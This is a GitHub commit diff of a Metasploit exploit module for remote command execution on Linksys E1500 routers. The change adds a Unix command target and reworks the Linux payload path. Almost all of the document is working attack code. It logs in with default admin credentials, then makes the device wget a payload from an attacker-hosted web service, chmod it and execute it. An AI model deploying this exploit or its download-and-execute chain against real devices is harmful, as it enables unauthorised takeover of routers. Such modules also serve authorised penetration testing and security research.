Skip to content

Commit cfeddf3

Browse files
author
m-1-k-3
committed
cmd payload working, most feedback included
1 parent dfd451f commit cfeddf3

File tree

1 file changed

+84
-59
lines changed

1 file changed

+84
-59
lines changed

modules/exploits/linux/http/linksys_e1500_up_exec.rb

Lines changed: 84 additions & 59 deletions
Original file line numberDiff line numberDiff line change
@@ -30,15 +30,26 @@ def initialize(info = {})
3030
],
3131
'DisclosureDate' => 'Feb 05 2013',
3232
'Privileged' => true,
33-
'Platform' => [ 'linux' ],
34-
'Arch' => ARCH_MIPSLE,
35-
'Targets' => [[ 'Automatic', { }]],
36-
'Payload' =>
37-
{
38-
'Space' => 1024,
39-
'DisableNops' => true,
40-
},
41-
'DefaultTarget' => 0
33+
#'Platform' => 'linux',
34+
#'Arch' => ARCH_MIPSLE,
35+
'Targets' =>
36+
[
37+
[ 'Unix CMD',
38+
{
39+
'Arch' => ARCH_CMD,
40+
'Platform' => 'unix',
41+
#only payload cmd/unix/generic should be possible
42+
}
43+
],
44+
[ 'Linux Payload',
45+
{
46+
'Arch' => ARCH_MIPSLE,
47+
'Platform' => 'linux',
48+
'DisableNops' => true,
49+
}
50+
],
51+
],
52+
'DefaultTarget' => 1,
4253
))
4354

4455
register_options(
@@ -47,12 +58,11 @@ def initialize(info = {})
4758
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
4859
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
4960
OptString.new('DOWNHOST', [ false, 'The host to request the MIPS payload from' ]),
50-
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)', nil ]),
61+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
5162
OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]),
5263
], self.class)
5364
end
5465

55-
#MISSING - command execution payload
5666

5767
def request(cmd,user,pass,uri)
5868
begin
@@ -91,30 +101,6 @@ def exploit
91101
rhost = datastore['RHOST']
92102
rport = datastore['RPORT']
93103

94-
# We must regenerate the payload-> not sure if this is the right way
95-
arch = "ARCH_MIPSLE"
96-
plat = "linux"
97-
p = exploit_regenerate_payload(plat, arch)
98-
@pl = p.encoded_exe
99-
100-
#
101-
# start our server
102-
#
103-
resource_uri = '/' + downfile
104-
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
105-
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
106-
start_service({'Uri' => {
107-
'Proc' => Proc.new { |cli, req|
108-
on_request_uri(cli, req)
109-
},
110-
'Path' => resource_uri
111-
}})
112-
113-
if (datastore['DOWNHOST'])
114-
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
115-
end
116-
117-
118104
#
119105
# testing Login
120106
#
@@ -143,36 +129,75 @@ def exploit
143129
return
144130
end
145131

146-
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
147-
148-
#this filename is used to store the payload on the device
149-
filename = rand_text_alpha_lower(8)
132+
if target.name =~ /CMD/
133+
cmd = payload.encoded
134+
request(cmd,user,pass,uri)
135+
else
136+
#lets get some shells ...
150137

151-
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
138+
# We must regenerate the payload-> not sure if this is the right way
139+
arch = "ARCH_MIPSLE"
140+
plat = "linux"
141+
p = exploit_regenerate_payload(plat, arch)
152142

153-
request(cmd,user,pass,uri)
143+
@pl = p.encoded_exe
154144

155-
#
156-
# chmod
157-
#
145+
#
146+
# start our server
147+
#
148+
resource_uri = '/' + downfile
158149

159-
cmd = "chmod 777 /tmp/#{filename}"
160-
161-
print_status("#{rhost}:#{rport} - Asking the Linksys device to prepare #{downfile}")
162-
163-
request(cmd,user,pass,uri)
164-
165-
#
166-
# execute
167-
#
168-
169-
cmd = "/tmp/#{filename}"
170-
171-
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
150+
if (datastore['DOWNHOST'])
151+
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
152+
else
153+
#easy way ... do not use SSL ;)
154+
if datastore['SSL']
155+
ssl_restore = true
156+
datastore['SSL'] = false
157+
end
158+
159+
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
160+
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
161+
start_service({'Uri' => {
162+
'Proc' => Proc.new { |cli, req|
163+
on_request_uri(cli, req)
164+
},
165+
'Path' => resource_uri
166+
}})
167+
168+
datastore['SSL'] = true if ssl_restore
169+
end
172170

173-
request(cmd,user,pass,uri)
171+
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
172+
173+
#this filename is used to store the payload on the device
174+
filename = rand_text_alpha_lower(8)
175+
176+
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
177+
178+
request(cmd,user,pass,uri)
179+
180+
#
181+
# chmod
182+
#
183+
184+
cmd = "chmod 777 /tmp/#{filename}"
185+
186+
print_status("#{rhost}:#{rport} - Asking the Linksys device to prepare #{downfile}")
187+
188+
request(cmd,user,pass,uri)
189+
190+
#
191+
# execute
192+
#
193+
194+
cmd = "/tmp/#{filename}"
195+
196+
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
197+
198+
request(cmd,user,pass,uri)
199+
end
174200

175-
handler
176201
end
177202

178203

0 commit comments

Comments
 (0)